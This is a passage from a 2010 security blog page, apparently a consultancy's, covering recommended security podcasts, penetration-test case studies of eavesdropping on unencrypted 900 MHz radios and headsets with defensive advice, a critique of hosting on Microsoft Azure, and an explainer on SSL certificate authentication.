The Southern Fried Security Podcast looks at security from the CSO and management level, which is a welcome change from the often technical-heavy security podcasts. The podcast focuses on integrating security into a business and the importance of balancing the business needs with security. Most security professionals have a hard time achieving this balance, so do your self a favor and listen to at least a few episodes of this podcast.
If any of these podcasts sound interesting to you, I recommend you download a few episodes and give them a listen.
What security podcasts do you listen to? Any podcast you think I should start listening to? If so, tell me why in the comments.
Read more!
ASIS Security Management Podcast is a monthly podcast containing highlights from the ASIS Security Management magazine. The magazine and podcast tend to be heavily focused on physical security, but there is some information security mixed in also. This is a great podcast if you want to learn more about physical security.
Crypto-Gram Security Podcast is simply Bruce Schneier’s monthly Crypto-Gram newsletter read aloud by Dan Henage. If you don’t have time to read the printed version of Crypto-Gram, this is a great way to keep up to date on a fascinating newsletter. If you haven’t read the Crypto-Gram newsletter you owe it to yourself to check out this podcast. I leave every podcast thinking about a security problem or issue in a new way.
CyberSpeak is a podcast focused on forensics. It is hosted by two formal federal agents who have spent their careers doing data forensics work. This show covers everything from basic to cutting edge forensic techniques. Whether you are a novice in forensics or an experienced forensics examiner, you will learn something from each episode.
Eurotrash Security Podcast comes to us from a band of security professionals and hackers based in Europe. This is one of the few podcasts that covers information security from a European point of view, so it is curious to see how security concerns over there line up and differ from the concerns in the States.
Exotic Liability Podcast is often offensive, usually informative, but always a fun time. This podcast is definitely not safe for work. So be careful where you listen to it. I recommend skipping this podcast if you are offended at obscene language and concepts. Topics usually focus on penetration testing and social engineering. The hosts also have some entertaining war stories about penetration testing.
OWASP Security Podcast focuses on all aspects of web application security. Many of the episodes are short interviews with experts in this field. This podcast is a wonderful way to learn about or keep on top of web application security topics.
Network Security Podcast is a weekly security news podcast covering new stories from the previous week. This show covers all aspects of security. The hosts comment on the news stories, often adding insight which makes the program well worth the listen.
PaulDotCom Security Weekly focuses on the technical side of security. Shows usually include a technical segment, new stories from the previous week, and interviews with special guests. If you want to learn more about the technical side of security this is a podcast you must check out. They also provide very detailed show notes which can be helpful when trying to implement an attack discussed on the show. An episode of PaulDotCom Security Weekly often is broken into two parts and the entire weekly show usually runs two to three hours. If I am running short on podcast time in a week, I also will use the show notes to determine what topics are of interest so I can fast forward to that portion of the podcast.
Risky Business is a news show which focuses on security from down under. The host of the show, Patrick Gray, does a very good job of explaining security concepts and concerns. Patrick also has a good handle on the importance of balancing security with business requirements, something many security folks forget. Because of these two factors, this is a great show for someone just getting into security.
SANS Audio Cast is a short weekly newscast produced by SANS. Episodes tend to be ten to fifteen minutes long so it is a great way to quickly catch up on the hot security news from the previous week. Even if I am running behind on podcasts, I try to listen to this one the week it is released while the information is still fresh.
SecuraBit Podcast is a security news podcast that focuses on technical security topics. I mainly listen to SecuraBit for the special guests they have, who tend to be big names in the security community.
Security Justice is hands down the best security podcast ever made. This monthly podcast covers a variety of security topics but tends to lean more toward physical security and the convergence of physical and logical security. This also is the only security podcast recorded live in a bar. Because this podcast is recorded in a bar, expect bar like language that may not be safe for work. Also in the interest of full disclosure, I should state the author of this post is also a co-host on this show so his views of the show are most likely biased.
Social Media Security Podcast focuses on the security concerns related to social media sites such as Facebook, Twitter, MySpace, and LinkedIn. The team that runs socialmediasecurity.com hosts the show. This podcast is a great way to learn about the threats in the emerging area of social media. The show also provides great case studies and stories that can be used for end user education and awareness training.
Social-Engineering.org Podcast is a monthly podcast focusing on social engineering. Produced by the team that run social-engineering.org, the podcast covers a number of topics related to social engineering. This podcast brings in some amazing guests. At first the guest’s or show topic’s relationship to social engineering might not be clear, but hang in there and the team always ties in how they relate. At its roots this podcast is about how to influence people, which is an important skill for any security professional to have. So even if you are not interested in social engineering, I still recommend you check out a few episodes of this podcast.
The Southern Fried Security Podcast looks at security from the CSO and management level, which is a welcome change from the often technical-heavy security podcasts. The podcast focuses on integrating security into a business and the importance of balancing the business needs with security. Most security professionals have a hard time achieving this balance, so do your self a favor and listen to at least a few episodes of this podcast.
If any of these podcasts sound interesting to you, I recommend you download a few episodes and give them a listen.
What security podcasts do you listen to? Any podcast you think I should start listening to? If so, tell me why in the comments.
Read more!
Thursday, April 29, 2010
"All Your 900 MHz Are Belong to Us"
If you were asked, “Does your organization use unencrypted wireless communications?”, what would your answer be? Responses may include ones such as “We don’t utilize wireless networks,” or “Our cell phones are our only wireless devices.” These answers may be somewhat true; however, many organizations may not have thought completely about their answer and assets. More specifically, the 900 MHz frequency range comes to mind. The 900 MHz frequency range is used by many common devices yet is often utilized in an unsecure manner for corporate use.
In short, the 900 MHz frequency range is an attacker’s playground. There is so much information that can be gleaned from playing in this space of which many folks are unaware. Two-way radios, simple wireless communication devices, and other items are more common than one might think that utilize this common and open communication channel. I’ll examine two cases in which SecureState engineers were able to obtain valuable information via trivial methods during both physical penetration tests and social engineering exercises.
First, SecureState was hired to perform work for a casino in the United States. Engineers were staying at a hotel approximately 3 or 4 miles away from the casino. From the hotel, a simple ham radio was used to listen to the 900 MHz frequency range and eavesdrop on the radio conversations of casino guards. From this, one could identify when guard shift changes occurred, when large sums of money were being transported, their origination, and destination as well. It doesn’t take a rocket scientist to explain why this is an issue. Other, more sophisticated attacks could be carried out using this information. With a sub $100 radio readily available at your neighborhood Radio Shack, the 900MHz frequency range may be capable of being used to listen in on your organization’s unencrypted communication.
Second, SecureState again fired up a ham radio to perform reconnaissance for a physical penetration test on a financial institution. Upon perusing the 900 MHz frequency range, it was identified that unencrypted wireless telephone headsets were being used in the helpdesk area. From this, SecureState was able to listen to password reset calls, and other issues being addressed at the target financial institution. There is no question why this is an issue, and this isn’t the end of it. Better yet, even after the phone call ends and the headset is put back in its cradle to charge when not in use, it acts as a bug in the office. The headset still transmits despite not being on a call. This means that all conversation in the helpdesk area, even while not on a telephone call, can be eavesdropped upon! Two solutions to this potential exposure are using the Plantronics CS55 and CS70 digital headset models. They both digitally encode and encrypt the audio and transmit it using TDMA technology. These headsets will provide sufficient protection against wireless headset eavesdropping. As best practice, it also is recommended that executives and executives’ assistants do not use wireless headsets for sensitive communications.
With those two simple case studies, it is clear that with less than $100 of readily accessible equipment, your organization may be vulnerable to such eavesdropping. Perhaps in your organization’s regular 802.11 wireless network enumeration looking for rogue access points, the 900 MHz frequency range should be included as well.
Read more!
In short, the 900 MHz frequency range is an attacker’s playground. There is so much information that can be gleaned from playing in this space of which many folks are unaware. Two-way radios, simple wireless communication devices, and other items are more common than one might think that utilize this common and open communication channel. I’ll examine two cases in which SecureState engineers were able to obtain valuable information via trivial methods during both physical penetration tests and social engineering exercises.
First, SecureState was hired to perform work for a casino in the United States. Engineers were staying at a hotel approximately 3 or 4 miles away from the casino. From the hotel, a simple ham radio was used to listen to the 900 MHz frequency range and eavesdrop on the radio conversations of casino guards. From this, one could identify when guard shift changes occurred, when large sums of money were being transported, their origination, and destination as well. It doesn’t take a rocket scientist to explain why this is an issue. Other, more sophisticated attacks could be carried out using this information. With a sub $100 radio readily available at your neighborhood Radio Shack, the 900MHz frequency range may be capable of being used to listen in on your organization’s unencrypted communication.
Second, SecureState again fired up a ham radio to perform reconnaissance for a physical penetration test on a financial institution. Upon perusing the 900 MHz frequency range, it was identified that unencrypted wireless telephone headsets were being used in the helpdesk area. From this, SecureState was able to listen to password reset calls, and other issues being addressed at the target financial institution. There is no question why this is an issue, and this isn’t the end of it. Better yet, even after the phone call ends and the headset is put back in its cradle to charge when not in use, it acts as a bug in the office. The headset still transmits despite not being on a call. This means that all conversation in the helpdesk area, even while not on a telephone call, can be eavesdropped upon! Two solutions to this potential exposure are using the Plantronics CS55 and CS70 digital headset models. They both digitally encode and encrypt the audio and transmit it using TDMA technology. These headsets will provide sufficient protection against wireless headset eavesdropping. As best practice, it also is recommended that executives and executives’ assistants do not use wireless headsets for sensitive communications.
With those two simple case studies, it is clear that with less than $100 of readily accessible equipment, your organization may be vulnerable to such eavesdropping. Perhaps in your organization’s regular 802.11 wireless network enumeration looking for rogue access points, the 900 MHz frequency range should be included as well.
Read more!
Wednesday, April 28, 2010
Trouble in the Cloud
Our development team initially started using Microsoft Azure as our primary platform for hosting our external website. We signed up as a Community Technology Preview (CTP) member to receive the "Introductory Special," which gave us access to the content delivery network at no additional charge. Microsoft Azure guarantees that at least 99.95% of the time you will have connectivity and 99.9% of the time they will successfully process, add, update, read, and delete requests. Unfortunately, we have experienced at least 5 outages during a 3 month duration that we had NO control over. Due to these outages and many other issues we had while hosting with Microsoft Azure, our development team has decided to move our application from Microsoft Azure.
Let's talk about data backups. Well, there is not much to say, because you cannot back up your database or any of the content that is hosted with Microsoft Azure; however, you can take "snapshots" of a particular item in each of the containers that exist. In order to do this, we used a windows based client called Cloud Storage Studio by Cerebrata to manage our content: http://www.cerebrata.com/Products/CloudStorageStudio/Default.aspx. This product alleviated some of the qualms that we had with Microsoft Azure. Another alternative to data backups was simply creating a local copy of our SQL database and using SQL Compare by Redgate to synchronize our local SQL database with the SQL Azure tables in the cloud: http://www.red-gate.com/products/SQL_Compare/index.htm.
Pricing is another area to watch out for when using Microsoft Azure. Microsoft may lure you in with their "Introductory Special" offering free services and no monthly commitment. We experienced a high volume of outgoing and incoming requests early on and noticed how quickly the fees accumulated. In fact, our Azure costs nearly tripled by our third month. For more information about how the storage, data transfers, compute times, and transactions are measured, please read the Microsoft Azure pricing guide: http://www.microsoft.com/windowsazure/pricing/.
Uploading updates to the cloud has been a very painful process. Every time we uploaded an update to Microsoft Azure, it took anywhere from 15-25 minutes to process an 8-10MB package. This means 15-25 minutes of down time for our live application! That is not even the most frustrating part. Cache is not king when it comes to updating content on Microsoft Azure. Microsoft Azure utilizes dozens of servers across the world so you can have faster access to stored content. Unfortunately, if your application is cached across even a few of those servers it takes about 48-72 hours for the servers to update the cache. The caching option can be turned off; however, disabling this option may result in the loss of performance when accessing content. We experienced many issues with a simple change to a graphic not being reflected on the live application. We had to suspend or restart our live application, resulting in a loss of 15-20 minutes, just to see the change.
Overall, Microsoft Azure does have its advantages over a single server hosting solution. For instance, Microsoft Azure or any other cloud computing alternative might be the preferred platform when hosting a global application which processes data intensive transactions requiring bandwidth and computing power because it is supported globally.
In my opinion, Microsoft Azure is unstable and could be improved with the development of options such as remote access to the SQL Azure tables and a more efficient way to release application updates with less down time. After some thought and discussion over weaknesses we encountered while hosting with Microsoft Azure, our team has decided to move our application from Microsoft Azure onto a more stable, cost-effective single server hosting environment.
Read more!
Let's talk about data backups. Well, there is not much to say, because you cannot back up your database or any of the content that is hosted with Microsoft Azure; however, you can take "snapshots" of a particular item in each of the containers that exist. In order to do this, we used a windows based client called Cloud Storage Studio by Cerebrata to manage our content: http://www.cerebrata.com/Products/CloudStorageStudio/Default.aspx. This product alleviated some of the qualms that we had with Microsoft Azure. Another alternative to data backups was simply creating a local copy of our SQL database and using SQL Compare by Redgate to synchronize our local SQL database with the SQL Azure tables in the cloud: http://www.red-gate.com/products/SQL_Compare/index.htm.
Pricing is another area to watch out for when using Microsoft Azure. Microsoft may lure you in with their "Introductory Special" offering free services and no monthly commitment. We experienced a high volume of outgoing and incoming requests early on and noticed how quickly the fees accumulated. In fact, our Azure costs nearly tripled by our third month. For more information about how the storage, data transfers, compute times, and transactions are measured, please read the Microsoft Azure pricing guide: http://www.microsoft.com/windowsazure/pricing/.
Uploading updates to the cloud has been a very painful process. Every time we uploaded an update to Microsoft Azure, it took anywhere from 15-25 minutes to process an 8-10MB package. This means 15-25 minutes of down time for our live application! That is not even the most frustrating part. Cache is not king when it comes to updating content on Microsoft Azure. Microsoft Azure utilizes dozens of servers across the world so you can have faster access to stored content. Unfortunately, if your application is cached across even a few of those servers it takes about 48-72 hours for the servers to update the cache. The caching option can be turned off; however, disabling this option may result in the loss of performance when accessing content. We experienced many issues with a simple change to a graphic not being reflected on the live application. We had to suspend or restart our live application, resulting in a loss of 15-20 minutes, just to see the change.
Overall, Microsoft Azure does have its advantages over a single server hosting solution. For instance, Microsoft Azure or any other cloud computing alternative might be the preferred platform when hosting a global application which processes data intensive transactions requiring bandwidth and computing power because it is supported globally.
In my opinion, Microsoft Azure is unstable and could be improved with the development of options such as remote access to the SQL Azure tables and a more efficient way to release application updates with less down time. After some thought and discussion over weaknesses we encountered while hosting with Microsoft Azure, our team has decided to move our application from Microsoft Azure onto a more stable, cost-effective single server hosting environment.
Read more!
Wednesday, April 21, 2010
SSL Wars: A New Hope
A few months ago, I wrote a blog regarding some of the vulnerabilities I see in SSL implementations. In that blog I spoke about SSLv2 and Weak Encryption settings. The blog primarily addressed how these vulnerabilities could be used to compromise the confidentiality SSL can provide. Other than confidentiality, SSL also can be used to provide authentication, non-repudiation, and integrity.
Many of the vulnerabilities I encounter undermine the authentication that SSL provides. Examples of these vulnerabilities include X.509 MD5 Signature Collisions, Self Signed Certificates, and Subject Common Name does not Match FQDN vulnerabilities. In this blog I want to address the significance of the authentication SSL provides. Many times we take for granted the authentication portion of SSL, but in reality we use on a regular basis the authentication that SSL provides.
When you connect to a site like https://www.PayPal.com, how do you know that you are not actually connecting to an evil hacker’s website which they also named https://www.PayPal.com? How can you be sure that an attacker has not poisoned the DNS server that you use to look up the IP address associated with PayPal’s website and you have actually been redirected to a hacker’s site that looks like PayPal? How can you be sure that when you enter your username and password into this site that an attacker is not capturing your credentials and is planning on using them to compromise your PayPal account? In order to help address these issues, an Internet-based public key infrastructure (PKI) has been developed. SSL uses this infrastructure in order to help provide you with a level of protection.
A PKI incorporates public key encryption (also named asymmetric encryption). In public key encryption a device uses two keys in order to provide encryption. The first key is called the private key. This key the device keeps secret and does not disclose to the public. The second key is called the public key, which the device sends to anyone who wishes to communicate with the device over an encrypted channel. Information encrypted with the device’s public key can be decrypted only with the private key, and information encrypted with the device’s private key can be decrypted only with the public key. When client side software such as a web browser attempts to connect to a device using public key encryption such as a secure web server, the public key is used by the client side software in order to establish a secure connection.
In order to tie the identity of an organization with its public key, a public key certificate is created. This association is performed through something called a digital signature. The public key certificate basically says that the website https://www.test.com is owned by Test Corp. and is associated with the public key of 12345. A public key certificate can be self signed or endorsed by a third party. Self signed certificates basically say “I am Test Corp., I own https://www.test.com, and the public key of this website is 12345, because I said so.” The second way the public key can be associated with its identity is through endorsements. This is when a third party validates that a particular public key is associated with an identity. This can be explained as follows. In order to provide authentication, a website can send its public key certificate to a trusted Certificate Authority (CA) such as VeriSign. The CA verifies that the organization is who they claim to be (VeriSign basically asks to see the organization’s driver’s license). Once the CA has verified that the organization is who they claim to be, and they do own the website they are asking the CA to validate, the CA will sign the public key certificate of the website.
The most common place to find SSL being implemented is on the World Wide Web. Today’s web browsers (Such as Internet Explorer and Firefox) are given a list of trusted CAs. When the web browser connects to a web server, the web server will present the browser its public key certificate. The browser will check the certificate to see who the CA was who signed it. The browser will look through its list of trusted CAs to see if it trusts the organization who signed the server’s public key certificate. If the website’s public key certificate was signed by a CA that the browser trusts, then the browser shows the user the website without complaining to the user. The web browser will in most cases provide a pretty little lock icon to the user in order to show that the site is secure (Isn’t this nice of the web browser?). If the CA is not trusted by the browser, the browser will start shouting that it does not trust the site (This is accomplished through warning messages the browser shows the user).
Let’s use a real world Example of how SSL is used. A site like https://www.PayPal.com wants to prove to everyone that they are really owned by PayPal. In order to provide this proof, PayPal will contact a trusted CA like VeriSign and ask them to tell everyone that they are really owned by PayPal (Because everyone trusts VeriSign). VeriSign will work with PayPal in order to verify their identity (Basically VeriSign asks PayPal for their Driver’s License). Once VeriSign has verified PayPal’s identity and that they own https://www.PayPal.com, they will “sign” the websites public key certificate. This signature shows that VeriSign has verified the website’s identity.
Along comes a user named Joe. Joe wants to use his web browser in order to connect to PayPal in order to purchase a new video game (Notice that Joe is cool, because he is not purchasing stuff like clothes). In order to prove to Joe that https://www.PayPal.com is really who they claim to be, PayPal shows the browser its public key certificate. The browser checks to see the CA who signed the public key certificate and sees that it was signed by VeriSign. The browser looks through its list of trusted CAs and sees that VeriSign is a trusted CA. The web browser shows Joe PayPal’s website without showing any warnings. The web browser also shows the proverbial lock on the web browser which makes everyone feel warm and fuzzy. Isn’t this story wonderful? It has the makings of a wonderful movie . . . suspense, trust, and victory . . . but I digress.
Now let’s see what happens if an attacker makes a fake website named https://PayPal.com. An evil hacker named Franz (I think Franz is a good name for a hacker) wants to capture Joe’s PayPal credentials. In order to do this, the evil hacker creates a site named https://www.PayPal.com. Franz cannot contact a trusted CA to have them verify his identity, because he does not own the domain for PayPal (He does not have PayPal’s driver’s license). Instead, the hacker signs his own public key certificate. Franz signs the public key certificate for https://www.PayPal.com and essentially says “I am PayPal, I own https://www.PayPal.com, and my public key is 12345, because I said so.” Franz now redirects Joe’s browser to his site which is named https://www.PayPal.com. Joe’s web browser checks to see who signed the certificate of the website. The browser does not see the signer of the public key certificate on its list of trusted CAs. The web browser tells Joe that something is wrong with the website’s certificate. If Joe is smart, he will be alarmed by these error messages and will drop his connection with the website.
Researchers at Carnegie Mellon University found that the majority of users will ignore these SSL warnings and continue to the website anyway. This paper can be found at the following link: http://www.usenix.org/event/sec09/tech/full_papers/sunshine.pdf.
So, in conclusion, before you go clicking through those SSL warnings, I encourage you to take a second and really consider the risk involved in these actions. If you do not wish to share the information you are sending with the entire world, I would suggest not sending your information to sites with these SSL warnings. It is important that you actually trust the site that you are connecting to before you give your credentials, SSN, Credit Card, etc.
-Gary McCully
Read more!
Many of the vulnerabilities I encounter undermine the authentication that SSL provides. Examples of these vulnerabilities include X.509 MD5 Signature Collisions, Self Signed Certificates, and Subject Common Name does not Match FQDN vulnerabilities. In this blog I want to address the significance of the authentication SSL provides. Many times we take for granted the authentication portion of SSL, but in reality we use on a regular basis the authentication that SSL provides.
When you connect to a site like https://www.PayPal.com, how do you know that you are not actually connecting to an evil hacker’s website which they also named https://www.PayPal.com? How can you be sure that an attacker has not poisoned the DNS server that you use to look up the IP address associated with PayPal’s website and you have actually been redirected to a hacker’s site that looks like PayPal? How can you be sure that when you enter your username and password into this site that an attacker is not capturing your credentials and is planning on using them to compromise your PayPal account? In order to help address these issues, an Internet-based public key infrastructure (PKI) has been developed. SSL uses this infrastructure in order to help provide you with a level of protection.
A PKI incorporates public key encryption (also named asymmetric encryption). In public key encryption a device uses two keys in order to provide encryption. The first key is called the private key. This key the device keeps secret and does not disclose to the public. The second key is called the public key, which the device sends to anyone who wishes to communicate with the device over an encrypted channel. Information encrypted with the device’s public key can be decrypted only with the private key, and information encrypted with the device’s private key can be decrypted only with the public key. When client side software such as a web browser attempts to connect to a device using public key encryption such as a secure web server, the public key is used by the client side software in order to establish a secure connection.
In order to tie the identity of an organization with its public key, a public key certificate is created. This association is performed through something called a digital signature. The public key certificate basically says that the website https://www.test.com is owned by Test Corp. and is associated with the public key of 12345. A public key certificate can be self signed or endorsed by a third party. Self signed certificates basically say “I am Test Corp., I own https://www.test.com, and the public key of this website is 12345, because I said so.” The second way the public key can be associated with its identity is through endorsements. This is when a third party validates that a particular public key is associated with an identity. This can be explained as follows. In order to provide authentication, a website can send its public key certificate to a trusted Certificate Authority (CA) such as VeriSign. The CA verifies that the organization is who they claim to be (VeriSign basically asks to see the organization’s driver’s license). Once the CA has verified that the organization is who they claim to be, and they do own the website they are asking the CA to validate, the CA will sign the public key certificate of the website.
The most common place to find SSL being implemented is on the World Wide Web. Today’s web browsers (Such as Internet Explorer and Firefox) are given a list of trusted CAs. When the web browser connects to a web server, the web server will present the browser its public key certificate. The browser will check the certificate to see who the CA was who signed it. The browser will look through its list of trusted CAs to see if it trusts the organization who signed the server’s public key certificate. If the website’s public key certificate was signed by a CA that the browser trusts, then the browser shows the user the website without complaining to the user. The web browser will in most cases provide a pretty little lock icon to the user in order to show that the site is secure (Isn’t this nice of the web browser?). If the CA is not trusted by the browser, the browser will start shouting that it does not trust the site (This is accomplished through warning messages the browser shows the user).
Let’s use a real world Example of how SSL is used. A site like https://www.PayPal.com wants to prove to everyone that they are really owned by PayPal. In order to provide this proof, PayPal will contact a trusted CA like VeriSign and ask them to tell everyone that they are really owned by PayPal (Because everyone trusts VeriSign). VeriSign will work with PayPal in order to verify their identity (Basically VeriSign asks PayPal for their Driver’s License). Once VeriSign has verified PayPal’s identity and that they own https://www.PayPal.com, they will “sign” the websites public key certificate. This signature shows that VeriSign has verified the website’s identity.
Along comes a user named Joe. Joe wants to use his web browser in order to connect to PayPal in order to purchase a new video game (Notice that Joe is cool, because he is not purchasing stuff like clothes). In order to prove to Joe that https://www.PayPal.com is really who they claim to be, PayPal shows the browser its public key certificate. The browser checks to see the CA who signed the public key certificate and sees that it was signed by VeriSign. The browser looks through its list of trusted CAs and sees that VeriSign is a trusted CA. The web browser shows Joe PayPal’s website without showing any warnings. The web browser also shows the proverbial lock on the web browser which makes everyone feel warm and fuzzy. Isn’t this story wonderful? It has the makings of a wonderful movie . . . suspense, trust, and victory . . . but I digress.
Now let’s see what happens if an attacker makes a fake website named https://PayPal.com. An evil hacker named Franz (I think Franz is a good name for a hacker) wants to capture Joe’s PayPal credentials. In order to do this, the evil hacker creates a site named https://www.PayPal.com. Franz cannot contact a trusted CA to have them verify his identity, because he does not own the domain for PayPal (He does not have PayPal’s driver’s license). Instead, the hacker signs his own public key certificate. Franz signs the public key certificate for https://www.PayPal.com and essentially says “I am PayPal, I own https://www.PayPal.com, and my public key is 12345, because I said so.” Franz now redirects Joe’s browser to his site which is named https://www.PayPal.com. Joe’s web browser checks to see who signed the certificate of the website. The browser does not see the signer of the public key certificate on its list of trusted CAs. The web browser tells Joe that something is wrong with the website’s certificate. If Joe is smart, he will be alarmed by these error messages and will drop his connection with the website.
Researchers at Carnegie Mellon University found that the majority of users will ignore these SSL warnings and continue to the website anyway. This paper can be found at the following link: http://www.usenix.org/event/sec09/tech/full_papers/sunshine.pdf.
So, in conclusion, before you go clicking through those SSL warnings, I encourage you to take a second and really consider the risk involved in these actions. If you do not wish to share the information you are sending with the entire world, I would suggest not sending your information to sites with these SSL warnings. It is important that you actually trust the site that you are connecting to before you give your credentials, SSN, Credit Card, etc.
-Gary McCully
Read more!
Subscribe to:
Posts (Atom)
Posts
